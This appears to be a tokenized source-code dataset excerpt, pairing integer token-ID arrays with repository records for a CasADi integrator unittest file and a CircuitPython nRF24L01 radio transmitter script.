12181,
29918,
1761,
29889,
4397,
29898,
667,
29918,
12181,
29897,
13,
4706,
9120,
353,
9120,
470,
2944,
29918,
1545,
2164,
13,
13,
1678,
565,
9120,
29901,
13,
4706,
3948,
353,
18761,
29898,
667,
29918,
1761,
29897,
13,
13,
268,
299,
326,
29918,
842,
353,
731,
29898,
2435,
29898,
667,
29918,
12181,
29897,
363,
2944,
29918,
12181,
297,
2944,
29918,
12181,
29918,
1761,
29897,
13,
1678,
4974,
7431,
29898,
299,
326,
29918,
842,
29897,
1275,
29871,
29896,
13,
1678,
2944,
29918,
299,
326,
353,
2446,
29898,
1524,
29898,
299,
326,
29918,
842,
876,
13,
13,
1678,
2944,
29918,
12181,
353,
21069,
29896,
29962,
334,
2944,
29918,
299,
326,
13,
13,
1678,
363,
474,
297,
3464,
29898,
667,
29918,
299,
326,
1125,
13,
4706,
2944,
29918,
12181,
29918,
842,
353,
426,
29879,
29961,
29875,
29962,
363,
269,
297,
2944,
29918,
12181,
29918,
1761,
29913,
29871,
396,
731,
310,
27497,
472,
9685,
474,
13,
4706,
565,
7431,
29898,
667,
29918,
12181,
29918,
842,
29897,
1405,
29871,
29896,
29901,
13,
9651,
2944,
29918,
12181,
29961,
29875,
29962,
353,
448,
29896,
13,
4706,
1683,
29901,
13,
9651,
2944,
29918,
12181,
29961,
29875,
29962,
353,
2446,
29898,
1524,
29898,
667,
29918,
12181,
29918,
842,
876,
13,
13,
1678,
396,
12672,
313,
18837,
29897,
445,
9927,
13,
1678,
565,
3646,
29918,
12181,
29961,
29900,
29962,
1275,
448,
29896,
470,
3646,
29918,
12181,
29961,
29900,
29962,
1275,
7431,
29898,
2749,
1125,
29871,
396,
694,
817,
304,
7985,
13,
4706,
736,
3948,
29892,
18761,
4197,
2435,
29898,
2749,
4638,
718,
2944,
29918,
12181,
511,
9120,
13,
1678,
25342,
3646,
29918,
12181,
29961,
29900,
29962,
1275,
29871,
29900,
29901,
13,
4706,
8267,
353,
18761,
4197,
29900,
29962,
718,
2944,
29918,
12181,
29897,
13,
4706,
736,
7442,
29889,
6310,
29898,
12181,
511,
8267,
29892,
5852,
13,
1678,
25342,
7431,
29898,
2749,
29897,
1275,
29871,
29896,
29901,
29871,
396,
27130,
9927,
29936,
8267,
29961,
29900,
29962,
338,
6374,
938,
13,
4706,
736,
18761,
29898,
2749,
29961,
29900,
29962,
363,
903,
297,
3464,
29898,
5182,
29918,
12181,
29961,
29900,
2314,
511,
18761,
4197,
5182,
29918,
12181,
29961,
29900,
5262,
718,
2944,
29918,
12181,
511,
5852,
29871,
396,
338,
9120,
13,
1678,
1683,
29901,
13,
4706,
12020,
7865,
2392,
29898,
29888,
29908,
12283,
29899,
2976,
11285,
9927,
426,
2435,
29898,
2749,
2915,
1818,
1993,
3646,
3309,
426,
5182,
29918,
12181,
29961,
29900,
12258,
1159,
13,
13,
13,
1753,
903,
3198,
29918,
9171,
29918,
2848,
29898,
1025,
29918,
12181,
29892,
716,
29918,
12181,
1125,
13,
1678,
396,
1059,
565,
1018,
304,
12672,
29871,
29900,
3309,
304,
1661,
9171,
3309,
13,
1678,
363,
263,
29896,
29892,
263,
29906,
297,
14319,
29898,
1025,
29918,
12181,
29961,
1057,
29899,
29896,
1402,
716,
29918,
12181,
29961,
1057,
29899,
29896,
29962,
1125,
29871,
396,
1492,
29899,
5143,
1598,
773,
18764,
284,
13,
4706,
565,
263,
29896,
1275,
29871,
29900,
322,
263,
29906,
1405,
29871,
29900,
29901,
13,
9651,
12020,
7865,
2392,
29898,
29888,
29908,
29089,
7985,
29871,
29900,
29899,
2848,
9927,
304,
1661,
9171,
29899,
2848,
29901,
376,
13,
462,
632,
285,
29908,
29898,
1266,
29899,
5143,
2164,
29897,
426,
1025,
29918,
12181,
29913,
304,
426,
1482,
29918,
12181,
27195,
13,
13,
13,
1753,
7985,
29918,
1431,
3192,
29918,
299,
2378,
29898,
1272,
29892,
2030,
29918,
12181,
29892,
716,
29918,
12181,
1125,
13,
1678,
9995,
13,
1678,
12027,
392,
278,
27130,
13391,
297,
263,
1153,
1505,
287,
29871,
299,
2378,
29889,
13,
13,
1678,
450,
1881,
1153,
1505,
287,
29871,
299,
2378,
310,
8267,
4954,
1025,
29918,
12181,
16159,
674,
367,
13,
1678,
12672,
304,
4954,
1482,
29918,
12181,
29952,
1412,
910,
740,
338,
2788,
304,
13,
1678,
4954,
7345,
305,
29889,
18837,
16159,
322,
4954,
23749,
29889,
6729,
328,
4384,
29918,
517,
29952,
1412,
13,
13,
1678,
12662,
2699,
13,
1678,
448,
1378,
29899,
13,
1678,
848,
584,
1409,
29918,
4561,
13,
4706,
10567,
1153,
1505,
287,
29871,
299,
2378,
29889,
13,
13,
1678,
2030,
29918,
12181,
584,
18761,
310,
938,
13,
4706,
1383,
4085,
310,
278,
1881,
1153,
1505,
287,
29871,
299,
2378,
29889,
13,
13,
4706,
848,
322,
2030,
29918,
12181,
508,
367,
7625,
515,
421,
657,
29918,
1431,
3192,
29918,
299,
2378,
1412,
13,
13,
1678,
716,
29918,
12181,
584,
18761,
310,
938,
13,
4706,
1570,
8267,
393,
278,
1153,
1505,
287,
29871,
299,
2378,
881,
367,
12672,
304,
29889,
13,
13,
4706,
448,
29896,
472,
738,
9685,
297,
716,
8267,
2794,
278,
2441,
3309,
13,
4706,
472,
393,
9927,
674,
3933,
278,
1021,
29889,
13,
13,
1678,
16969,
13,
1678,
448,
22158,
13,
1678,
848,
584,
1409,
29918,
4561,
13,
4706,
12027,
392,
287,
1153,
1505,
287,
29871,
299,
2378,
13,
13,
1678,
2186,
29918,
12181,
584,
18761,
310,
938,
13,
4706,
450,
8267,
310,
278,
17832,
1153,
1505,
287,
29871,
299,
2378,
13,
1678,
9995,
13,
1678,
2030,
29918,
12181,
353,
18761,
29898,
524,
29898,
29916,
29897,
363,
921,
297,
2030,
29918,
12181,
29897,
13,
1678,
716,
29918,
12181,
353,
18761,
29898,
524,
29898,
29916,
29897,
363,
921,
297,
716,
29918,
12181,
29897,
13,
13,
1678,
396,
21697,
13,
1678,
565,
2030,
29918,
12181,
1275,
716,
29918,
12181,
29901,
13,
4706,
736,
848,
29892,
2030,
29918,
12181,
13,
13,
1678,
2030,
29918,
299,
326,
353,
7431,
29898,
1025,
29918,
12181,
29897,
13,
1678,
716,
29918,
299,
326,
353,
7431,
29898,
1482,
29918,
12181,
29897,
13,
13,
1678,
903,
3198,
29918,
9171,
29918,
2848,
29898,
1025,
29918,
12181,
29892,
716,
29918,
12181,
29897,
13,
13,
1678,
565,
2030,
29918,
299,
326,
529,
716,
29918,
299,
326,
29901,
13,
4706,
396,
11455,
9120,
13,
4706,
848,
29892,
2186,
29918,
12181,
29892,
903,
353,
903,
3757,
25397,
29918,
18837,
29898,
1272,
29892,
3646,
29918,
12181,
29922,
1482,
29918,
12181,
29961,
1482,
29918,
299,
326,
448,
2030,
29918,
299,
326,
29901,
2314,
13,
4706,
363,
716,
29918,
2848,
297,
716,
29918,
12181,
7503,
1482,
29918,
299,
326,
29899,
1025,
29918,
299,
326,
3816,
1057,
29899,
29896,
5387,
13,
9651,
565,
716,
29918,
2848,
1275,
448,
29896,
29901,
29871,
396,
694,
21992,
29892,
788,
263,
12604,
14476,
13,
18884,
848,
353,
313,
1272,
29892,
1723,
13,
18884,
2186,
29918,
12181,
353,
313,
29896,
29892,
1723,
718,
2186,
29918,
12181,
13,
9651,
1683,
29901,
13,
18884,
848,
353,
313,
1272,
29892,
1723,
334,
716,
29918,
2848,
13,
18884,
2186,
29918,
12181,
353,
313,
1482,
29918,
2848,
29892,
1723,
718,
2186,
29918,
12181,
13,
1678,
25342,
2030,
29918,
299,
326,
1275,
716,
29918,
299,
326,
29901,
13,
4706,
848,
29892,
2186,
29918,
12181,
29892,
903,
353,
903,
3757,
25397,
29918,
18837,
29898,
1272,
29892,
3646,
29918,
12181,
29922,
1482,
29918,
12181,
29897,
13,
1678,
1683,
29901,
29871,
396,
2030,
29918,
299,
326,
1405,
716,
29918,
299,
326,
13,
4706,
848,
29892,
2186,
29918,
12181,
29892,
903,
353,
903,
3757,
25397,
29918,
18837,
29898,
1272,
29892,
3646,
29918,
12181,
29922,
6278,
29896,
29892,
29897,
334,
313,
1025,
29918,
299,
326,
448,
716,
29918,
299,
326,
29897,
718,
716,
29918,
12181,
29897,
13,
1678,
736,
848,
29892,
2186,
29918,
12181,
13,
13,
13,
1753,
903,
3757,
25397,
29918,
7302,
29898,
2749,
29892,
3653,
29892,
10809,
1125,
13,
1678,
565,
10809,
1275,
29871,
29900,
29901,
29871,
396,
4880,
445,
3948,
408,
2944,
13,
4706,
736,
3653,
29898,
2749,
29897,
13,
1678,
736,
18761,
7373,
3757,
25397,
29918,
7302,
29898,
1491,
29892,
3653,
29922,
9891,
29892,
10809,
29922,
19488,
29899,
29896,
29897,
363,
1014,
297,
3948,
29897,
13,
13,
13,
1753,
3394,
29918,
1431,
3192,
29918,
299,
2378,
29898,
2749,
29892,
3653,
29892,
10809,
1125,
13,
1678,
565,
451,
756,
5552,
29898,
19488,
29892,
376,
1649,
2248,
1649,
1159,
470,
10809,
529,
29871,
29900,
29901,
13,
4706,
12020,
7865,
2392,
29898,
29888,
29908,
7302,
10809,
426,
19488,
29913,
881,
367,
263,
1661,
22198,
6043,
1159,
13,
1678,
736,
903,
3757,
25397,
29918,
7302,
29898,
2749,
29922,
2749,
29892,
3653,
29922,
9891,
29892,
10809,
29922,
19488,
29897,
13,
13,
2
] |
crane_controllers/external/casadi-3.4.5/test/python/simulator.py | tingelst/crane | 2 | 68647 | #
# This file is part of CasADi.
#
# CasADi -- A symbolic framework for dynamic optimization.
# Copyright (C) 2010-2014 <NAME>, <NAME>, <NAME>,
# <NAME>. All rights reserved.
# Copyright (C) 2011-2014 <NAME>
#
# CasADi is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 3 of the License, or (at your option) any later version.
#
# CasADi is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with CasADi; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
#
#
from casadi import *
import casadi as c
import numpy
import numpy as n
import unittest
from types import *
from helpers import *
scipy_available = True
try:
import scipy.special
from scipy.linalg import expm
except:
scipy_available = False
class Simulatortests(casadiTestCase):
def setUp(self):
# Reference solution is q0 e^((t^3-t0^3)/(3 p))
t=SX.sym('t')
q=SX.sym('q')
p=SX.sym('p')
f={'t':t, 'x':q, 'p':p, 'ode':q/p*t**2}
opts = {}
opts['reltol'] = 1e-15
opts['abstol'] = 1e-15
opts['fsens_err_con'] = True
#opts['verbose'] = True
opts['t0'] = 0
opts['tf'] = 2.3
integrator = casadi.integrator('integrator', 'cvodes', f, opts)
q0 = MX.sym('q0')
par = MX.sym('p')
qend = integrator.call({'x0':q0,'p':par})['xf']
qe=Function('qe', [q0,par],[qend])
self.dae = f
self.integrator = integrator
self.qe=qe
self.qend=qend
self.q0=q0
self.par=par
self.f = f
self.num={'tend':2.3,'q0':7.1,'p':2}
pass
def test_sim_full(self):
self.message('Simulator inputs')
num = self.num
N = 4
tc = n.linspace(0,num['tend'], N)
t=SX.sym('t')
q=SX.sym('q')
p=SX.sym('p')
f={'t':t, 'x':q, 'p':p, 'ode':q/p*t**2}
opts = {}
opts['reltol'] = 1e-15
opts['abstol'] = 1e-15
opts['fsens_err_con'] = True
#opts['verbose'] = True
opts['grid'] = tc
opts['output_t0'] = True
integrator = casadi.integrator('integrator', 'cvodes', f, opts)
solution = Function('solution', {'x0':q, 'p':p, 'xf':horzcat(*[q*exp(t**3/(3*p)) for t in tc])},
casadi.integrator_in(), casadi.integrator_out())
f_in = {}
f_in['x0']=0.3
f_in['p']=0.7
self.checkfunction(integrator,solution,inputs=f_in,adj=False,jacobian=False,sens_der=False,evals=False,digits=6)
def test_simulator_time_offset(self):
self.message('CVodes integration: simulator time offset')
num=self.num
t = n.linspace(0.7,num['tend'],100)
opts = {}
opts['reltol'] = 1e-15
opts['abstol'] = 1e-15
opts['fsens_err_con'] = True
opts['grid'] = t
opts['output_t0'] = True
integrator = casadi.integrator('integrator', 'cvodes', self.dae, opts)
integrator_in = [0]*integrator.n_in();integrator_in[0]=[num['q0']]
integrator_in[1]=[num['p']]
integrator_out = integrator.call(integrator_in)
tend=num['tend']
q0=num['q0']
p=num['p']
self.assertAlmostEqual(integrator_out[0][0,-1],q0*exp((tend**3-0.7**3)/(3*p)),9,'Evaluation output mismatch')
if __name__ == '__main__':
unittest.main()
| [
1,
396,
13,
29937,
268,
910,
934,
338,
760,
310,
6960,
3035,
29875,
29889,
13,
29937,
13,
29937,
268,
6960,
3035,
29875,
1192,
319,
5829,
293,
6890,
363,
7343,
13883,
29889,
13,
29937,
268,
14187,
1266,
313,
29907,
29897,
29871,
29906,
29900,
29896,
29900,
29899,
29906,
29900,
29896,
29946,
529,
5813,
10202,
529,
5813,
10202,
529,
5813,
10202,
13,
29937,
462,
632,
529,
5813,
15513,
2178,
10462,
21676,
29889,
13,
29937,
268,
14187,
1266,
313,
29907,
29897,
29871,
29906,
29900,
29896,
29896,
29899,
29906,
29900,
29896,
29946,
529,
5813,
29958,
13,
29937,
13,
29937,
268,
6960,
3035,
29875,
338,
3889,
7047,
29936,
366,
508,
2654,
391,
2666,
372,
322,
29914,
272,
13,
29937,
268,
6623,
372,
1090,
278,
4958,
310,
278,
15143,
365,
16136,
4593,
5236,
13,
29937,
268,
19245,
408,
6369,
491,
278,
12362,
18540,
10606,
29936,
2845,
13,
29937,
268,
1873,
29871,
29941,
310,
278,
19245,
29892,
470,
313,
271,
596,
2984,
29897,
738,
2678,
1873,
29889,
13,
29937,
13,
29937,
268,
6960,
3035,
29875,
338,
13235,
297,
278,
4966,
393,
372,
674,
367,
5407,
29892,
13,
29937,
268,
541,
399,
1806,
8187,
2692,
13764,
29979,
399,
1718,
29934,
13566,
29979,
29936,
1728,
1584,
278,
2411,
2957,
1370,
21867,
29891,
310,
13,
29937,
268,
341,
1001,
3210,
13566,
2882,
6227,
11937,
470,
383,
1806,
8186,
1799,
15842,
319,
349,
8322,
2965,
13309,
1718,
349,
4574,
13152,
1660,
29889,
29871,
2823,
278,
15143,
13,
29937,
268,
365,
16136,
4593,
5236,
19245,
363,
901,
4902,
29889,
13,
29937,
13,
29937,
268,
887,
881,
505,
4520,
263,
3509,
310,
278,
15143,
365,
16136,
4593,
5236,
13,
29937,
268,
19245,
3412,
411,
6960,
3035,
29875,
29936,
565,
451,
29892,
2436,
304,
278,
12362,
18540,
13,
29937,
268,
10606,
29892,
9266,
1696,
29871,
29945,
29896,
21504,
7103,
29892,
29008,
386,
383,
10102,
29892,
12115,
29892,
14861,
259,
29900,
29906,
29896,
29896,
29900,
29899,
29896,
29941,
29900,
29896,
29871,
8278,
13,
29937,
13,
29937,
13,
3166,
3209,
10129,
1053,
334,
13,
5215,
3209,
10129,
408,
274,
13,
5215,
12655,
13,
5215,
12655,
408,
302,
13,
5215,
443,
27958,
13,
3166,
4072,
1053,
334,
13,
3166,
1371,
414,
1053,
334,
13,
13,
13,
13,
26167,
2272,
29918,
16515,
353,
5852,
13,
2202,
29901,
13,
12,
5215,
4560,
2272,
29889,
18732,
13,
12,
3166,
4560,
2272,
29889,
29880,
979,
29887,
1053,
1518,
29885,
13,
19499,
29901,
13,
12,
26167,
2272,
29918,
16515,
353,
7700,
13,
13,
1990,
3439,
352,
271,
441,
9197,
29898,
9398,
10129,
3057,
8259,
1125,
13,
13,
13,
29871,
822,
731,
3373,
29898,
1311,
1125,
13,
1678,
396,
12105,
1650,
338,
3855,
29900,
321,
29985,
3552,
29873,
29985,
29941,
29899,
29873,
29900,
29985,
29941,
6802,
29898,
29941,
282,
876,
13,
1678,
260,
29922,
29903,
29990,
29889,
11967,
877,
29873,
1495,
13,
1678,
3855,
29922,
29903,
29990,
29889,
11967,
877,
29939,
1495,
13,
1678,
282,
29922,
29903,
29990,
29889,
11967,
877,
29886,
1495,
13,
1678,
285,
3790,
29915,
29873,
2396,
29873,
29892,
525,
29916,
2396,
29939,
29892,
525,
29886,
2396,
29886,
29892,
525,
356,
2396,
29939,
29914,
29886,
29930,
29873,
1068,
29906,
29913,
13,
1678,
29111,
353,
6571,
13,
1678,
29111,
1839,
276,
1896,
324,
2033,
353,
29871,
29896,
29872,
29899,
29896,
29945,
13,
1678,
29111,
1839,
370,
303,
324,
2033,
353,
29871,
29896,
29872,
29899,
29896,
29945,
13,
1678,
29111,
1839,
5847,
575,
29918,
3127,
29918,
535,
2033,
353,
5852,
13,
1678,
396,
25707,
1839,
369,
15828,
2033,
353,
5852,
13,
1678,
29111,
1839,
29873,
29900,
2033,
353,
29871,
29900,
13,
1678,
29111,
1839,
13264,
2033,
353,
29871,
29906,
29889,
29941,
13,
1678,
3990,
1061,
353,
3209,
10129,
29889,
14146,
1061,
877,
14146,
1061,
742,
525,
11023,
2631,
742,
285,
29892,
29111,
29897,
13,
1678,
3855,
29900,
259,
353,
341,
29990,
29889,
11967,
877,
29939,
29900,
1495,
13,
1678,
610,
29871,
353,
341,
29990,
29889,
11967,
877,
29886,
1495,
13,
1678,
3855,
355,
353,
3990,
1061,
29889,
4804,
3319,
29915,
29916,
29900,
2396,
29939,
29900,
5501,
29886,
2396,
862,
1800,
1839,
24660,
2033,
13,
1678,
3855,
29872,
29922,
6678,
877,
29939,
29872,
742,
518,
29939,
29900,
29892,
862,
16272,
29939,
355,
2314,
13,
1678,
1583,
29889,
1388,
29872,
353,
285,
13,
1678,
1583,
29889,
14146,
1061,
353,
3990,
1061,
13,
1678,
1583,
29889,
29939,
29872,
29922,
29939,
29872,
13,
1678,
1583,
29889,
29939,
355,
29922,
29939,
355,
13,
1678,
1583,
29889,
29939,
29900,
29922,
29939,
29900,
13,
1678,
1583,
29889,
862,
29922,
862,
13,
1678,
1583,
29889,
29888,
353,
285,
13,
1678,
1583,
29889,
1949,
3790,
29915,
29873,
355,
2396,
29906,
29889,
29941,
5501,
29939,
29900,
2396,
29955,
29889,
29896,
5501,
29886,
2396,
29906,
29913,
13,
1678,
1209,
13,
13,
29871,
822,
1243,
29918,
3601,
29918,
8159,
29898,
1311,
1125,
13,
1678,
1583,
29889,
4906,
877,
8942,
9183,
10970,
1495,
13,
1678,
954,
353,
1583,
29889,
1949,
13,
1678,
405,
353,
29871,
29946,
13,
1678,
260,
29883,
353,
302,
29889,
1915,
3493,
29898,
29900,
29892,
1949,
1839,
29873,
355,
7464,
405,
29897,
13,
13,
1678,
260,
29922,
29903,
29990,
29889,
11967,
877,
29873,
1495,
13,
1678,
3855,
29922,
29903,
29990,
29889,
11967,
877,
29939,
1495,
13,
1678,
282,
29922,
29903,
29990,
29889,
11967,
877,
29886,
1495,
13,
13,
1678,
285,
3790,
29915,
29873,
2396,
29873,
29892,
525,
29916,
2396,
29939,
29892,
525,
29886,
2396,
29886,
29892,
525,
356,
2396,
29939,
29914,
29886,
29930,
29873,
1068,
29906,
29913,
13,
1678,
29111,
353,
6571,
13,
1678,
29111,
1839,
276,
1896,
324,
2033,
353,
29871,
29896,
29872,
29899,
29896,
29945,
13,
1678,
29111,
1839,
370,
303,
324,
2033,
353,
29871,
29896,
29872,
29899,
29896,
29945,
13,
1678,
29111,
1839,
5847,
575,
29918,
3127,
29918,
535,
2033,
353,
5852,
13,
1678,
396,
25707,
1839,
369,
15828,
2033,
353,
5852,
13,
1678,
29111,
1839,
7720,
2033,
353,
260,
29883,
13,
1678,
29111,
1839,
4905,
29918,
29873,
29900,
2033,
353,
5852,
13,
1678,
3990,
1061,
353,
3209,
10129,
29889,
14146,
1061,
877,
14146,
1061,
742,
525,
11023,
2631,
742,
285,
29892,
29111,
29897,
13,
13,
1678,
1650,
353,
6680,
877,
2929,
918,
742,
11117,
29916,
29900,
2396,
29939,
29892,
525,
29886,
2396,
29886,
29892,
525,
24660,
2396,
2015,
29920,
4117,
10456,
29961,
29939,
29930,
4548,
29898,
29873,
1068,
29941,
14571,
29941,
29930,
29886,
876,
363,
260,
297,
260,
29883,
2314,
1118,
13,
462,
4706,
3209,
10129,
29889,
14146,
1061,
29918,
262,
3285,
3209,
10129,
29889,
14146,
1061,
29918,
449,
3101,
13,
1678,
285,
29918,
262,
353,
6571,
13,
1678,
285,
29918,
262,
1839,
29916,
29900,
2033,
29922,
29900,
29889,
29941,
13,
1678,
285,
29918,
262,
1839,
29886,
2033,
29922,
29900,
29889,
29955,
13,
13,
1678,
1583,
29889,
3198,
2220,
29898,
14146,
1061,
29892,
2929,
918,
29892,
2080,
29879,
29922,
29888,
29918,
262,
29892,
26859,
29922,
8824,
29892,
29926,
562,
711,
713,
29922,
8824,
29892,
23149,
29918,
672,
29922,
8824,
29892,
14513,
29879,
29922,
8824,
29892,
7501,
1169,
29922,
29953,
29897,
13,
13,
29871,
822,
1243,
29918,
3601,
9183,
29918,
2230,
29918,
10289,
29898,
1311,
1125,
13,
1678,
1583,
29889,
4906,
877,
15633,
2631,
13465,
29901,
1027,
9183,
931,
9210,
1495,
13,
1678,
954,
29922,
1311,
29889,
1949,
13,
1678,
260,
353,
302,
29889,
1915,
3493,
29898,
29900,
29889,
29955,
29892,
1949,
1839,
29873,
355,
7464,
29896,
29900,
29900,
29897,
13,
13,
1678,
29111,
353,
6571,
13,
1678,
29111,
1839,
276,
1896,
324,
2033,
353,
29871,
29896,
29872,
29899,
29896,
29945,
13,
1678,
29111,
1839,
370,
303,
324,
2033,
353,
29871,
29896,
29872,
29899,
29896,
29945,
13,
1678,
29111,
1839,
5847,
575,
29918,
3127,
29918,
535,
2033,
353,
5852,
13,
1678,
29111,
1839,
7720,
2033,
353,
260,
13,
1678,
29111,
1839,
4905,
29918,
29873,
29900,
2033,
353,
5852,
13,
1678,
3990,
1061,
353,
3209,
10129,
29889,
14146,
1061,
877,
14146,
1061,
742,
525,
11023,
2631,
742,
1583,
29889,
1388,
29872,
29892,
29111,
29897,
13,
13,
1678,
3990,
1061,
29918,
262,
353,
518,
29900,
14178,
14146,
1061,
29889,
29876,
29918,
262,
890,
14146,
1061,
29918,
262,
29961,
29900,
29962,
11759,
1949,
1839,
29939,
29900,
2033,
29962,
13,
1678,
3990,
1061,
29918,
262,
29961,
29896,
29962,
11759,
1949,
1839,
29886,
2033,
29962,
13,
1678,
3990,
1061,
29918,
449,
353,
3990,
1061,
29889,
4804,
29898,
14146,
1061,
29918,
262,
29897,
13,
13,
1678,
10331,
29922,
1949,
1839,
29873,
355,
2033,
13,
1678,
3855,
29900,
29922,
1949,
1839,
29939,
29900,
2033,
13,
1678,
282,
29922,
1949,
1839,
29886,
2033,
13,
13,
1678,
1583,
29889,
9294,
2499,
3242,
9843,
29898,
14146,
1061,
29918,
449,
29961,
29900,
3816,
29900,
6653,
29896,
1402,
29939,
29900,
29930,
4548,
3552,
29873,
355,
1068,
29941,
29899,
29900,
29889,
29955,
1068,
29941,
6802,
29898,
29941,
29930,
29886,
8243,
29929,
5501,
29923,
4387,
362,
1962,
29635,
1495,
13,
13,
361,
4770,
978,
1649,
1275,
525,
1649,
3396,
1649,
2396,
13,
1678,
443,
27958,
29889,
3396,
580,
13,
13,
2
] |
Hermes_T_Box/TransmitterCode/Transceiver.py | maguayo6/SeniorDesign_159 | 0 | 170218 | """
Simple example of library usage.
"""
import time
import struct
import board
import busio
import digitalio as dio
from circuitpython_nrf24l01 import RF24
# addresses needs to be in a buffer protocol object (bytearray)
address = b'1Node'
# change these (digital output) pins accordingly
ce = dio.DigitalInOut(board.D4)
csn = dio.DigitalInOut(board.D5)
# using board.SPI() automatically selects the MCU's
# available SPI pins, board.SCK, board.MOSI, board.MISO
spi = busio.SPI(board.SCLK_1,board.MOSI_1,board.MISO_1) # init spi bus object
# we'll be using the dynamic payload size feature (enabled by default)
# initialize the nRF24L01 on the spi bus object
nrf = RF24(spi, csn, ce)
def master(count=5): # count = 5 will only transmit 5 packets
"""Transmits an incrementing integer every second"""
# set address of RX node into a TX pipe
nrf.open_tx_pipe(address)
# ensures the nRF24L01 is in TX mode
nrf.listen = False
while count:
# use struct.pack to packetize your data
# into a usable payload
buffer = struct.pack('<if',count, 1.0001)
# 'i' means a single 4 byte int value.
# '<' means little endian byte order. this may be optional
print("Sending: {} as struct: {}".format(count, buffer))
now = time.monotonic() * 1000 # start timer
result = nrf.send(buffer)
if result is None:
print('send() timed out')
elif not result:
print('send() failed')
else:
print('send() successful')
# print timer results despite transmission success
print('Transmission took',
time.monotonic() * 1000 - now, 'ms')
time.sleep(0.25)
count -= 1
def slave(count=3):
"""Polls the radio and prints the received value. This method expires
after 6 seconds of no received transmission"""
# set address of TX node into an RX pipe. NOTE you MUST specify
# which pipe number to use for RX, we'll be using pipe 0
# pipe number options range [0,5]
# the pipe numbers used during a transition don't have to match
nrf.open_rx_pipe(0, address)
nrf.listen = True # put radio into RX mode and power up
start = time.monotonic()
while count and (time.monotonic() - start) < 6:
if nrf.any():
# print details about the received packet (if any)
print("Found {} bytes on pipe {}\
".format(repr(nrf.any()), nrf.pipe()))
# retreive the received packet's payload
rx = nrf.recv() # clears flags & empties RX FIFO
# expecting an int, thus the string format '<i'
buffer = struct.unpack('<i', rx)
# print the only item in the resulting tuple from
# using `struct.unpack()`
print("Received: {}, Raw: {}".format(buffer[0], repr(rx)))
start = time.monotonic()
count -= 1
# this will listen indefinitely till count == 0
time.sleep(0.25)
# recommended behavior is to keep in TX mode while idle
nrf.listen = False # put the nRF24L01 is in TX mode
print("""\
nRF24L01 Simple test.\n\
Run slave() on receiver\n\
Run master() on transmitter""")
master(100)
#slave() | [
1,
9995,
13,
15427,
1342,
310,
3489,
8744,
29889,
13,
15945,
29908,
13,
5215,
931,
13,
5215,
2281,
13,
5215,
7613,
13,
5215,
3593,
601,
13,
5215,
13436,
601,
408,
20562,
13,
3166,
11369,
4691,
29918,
29876,
9600,
29906,
29946,
29880,
29900,
29896,
1053,
390,
29943,
29906,
29946,
13,
13,
29937,
14157,
4225,
304,
367,
297,
263,
6835,
9608,
1203,
313,
10389,
2378,
29897,
13,
7328,
353,
289,
29915,
29896,
4247,
29915,
13,
13,
29937,
1735,
1438,
313,
7501,
2410,
1962,
29897,
282,
1144,
16205,
13,
346,
353,
20562,
29889,
27103,
797,
3744,
29898,
3377,
29889,
29928,
29946,
29897,
13,
2395,
29876,
353,
20562,
29889,
27103,
797,
3744,
29898,
3377,
29889,
29928,
29945,
29897,
13,
13,
29937,
773,
7613,
29889,
29903,
2227,
580,
6336,
27778,
278,
21271,
29965,
29915,
29879,
13,
29937,
3625,
317,
2227,
282,
1144,
29892,
7613,
29889,
29903,
7077,
29892,
7613,
29889,
29924,
3267,
29902,
29892,
7613,
29889,
29924,
29096,
13,
1028,
29875,
353,
3593,
601,
29889,
29903,
2227,
29898,
3377,
29889,
29903,
6154,
29968,
29918,
29896,
29892,
3377,
29889,
29924,
3267,
29902,
29918,
29896,
29892,
3377,
29889,
29924,
29096,
29918,
29896,
29897,
29871,
396,
2069,
805,
29875,
3593,
1203,
13,
13,
29937,
591,
29915,
645,
367,
773,
278,
7343,
20092,
2159,
4682,
313,
17590,
491,
2322,
29897,
13,
29937,
11905,
278,
302,
29934,
29943,
29906,
29946,
29931,
29900,
29896,
373,
278,
805,
29875,
3593,
1203,
13,
29876,
9600,
353,
390,
29943,
29906,
29946,
29898,
1028,
29875,
29892,
5939,
29876,
29892,
2257,
29897,
13,
13,
1753,
5835,
29898,
2798,
29922,
29945,
1125,
29871,
396,
2302,
353,
29871,
29945,
674,
871,
22649,
29871,
29945,
23912,
13,
1678,
9995,
4300,
29885,
1169,
385,
11924,
292,
6043,
1432,
1473,
15945,
29908,
13,
1678,
396,
731,
3211,
310,
390,
29990,
2943,
964,
263,
323,
29990,
14282,
13,
1678,
302,
9600,
29889,
3150,
29918,
7508,
29918,
17760,
29898,
7328,
29897,
13,
1678,
396,
5662,
1973,
278,
302,
29934,
29943,
29906,
29946,
29931,
29900,
29896,
338,
297,
323,
29990,
4464,
13,
1678,
302,
9600,
29889,
20631,
353,
7700,
13,
13,
1678,
1550,
2302,
29901,
13,
4706,
396,
671,
2281,
29889,
4058,
304,
18203,
675,
596,
848,
13,
4706,
396,
964,
263,
502,
519,
20092,
13,
4706,
6835,
353,
2281,
29889,
4058,
877,
29966,
361,
742,
2798,
29892,
29871,
29896,
29889,
29900,
29900,
29900,
29896,
29897,
13,
4706,
396,
525,
29875,
29915,
2794,
263,
2323,
29871,
29946,
7023,
938,
995,
29889,
13,
4706,
396,
12801,
29915,
2794,
2217,
1095,
713,
7023,
1797,
29889,
445,
1122,
367,
13136,
13,
4706,
1596,
703,
29903,
2548,
29901,
6571,
408,
2281,
29901,
6571,
1642,
4830,
29898,
2798,
29892,
6835,
876,
13,
4706,
1286,
353,
931,
29889,
3712,
327,
8927,
580,
334,
29871,
29896,
29900,
29900,
29900,
29871,
396,
1369,
12237,
13,
4706,
1121,
353,
302,
9600,
29889,
6717,
29898,
9040,
29897,
13,
4706,
565,
1121,
338,
6213,
29901,
13,
9651,
1596,
877,
6717,
580,
5335,
287,
714,
1495,
13,
4706,
25342,
451,
1121,
29901,
13,
9651,
1596,
877,
6717,
580,
5229,
1495,
13,
4706,
1683,
29901,
13,
9651,
1596,
877,
6717,
580,
9150,
1495,
13,
4706,
396,
1596,
12237,
2582,
15020,
22713,
2551,
13,
4706,
1596,
877,
4300,
6737,
3614,
742,
13,
795,
931,
29889,
3712,
327,
8927,
580,
334,
29871,
29896,
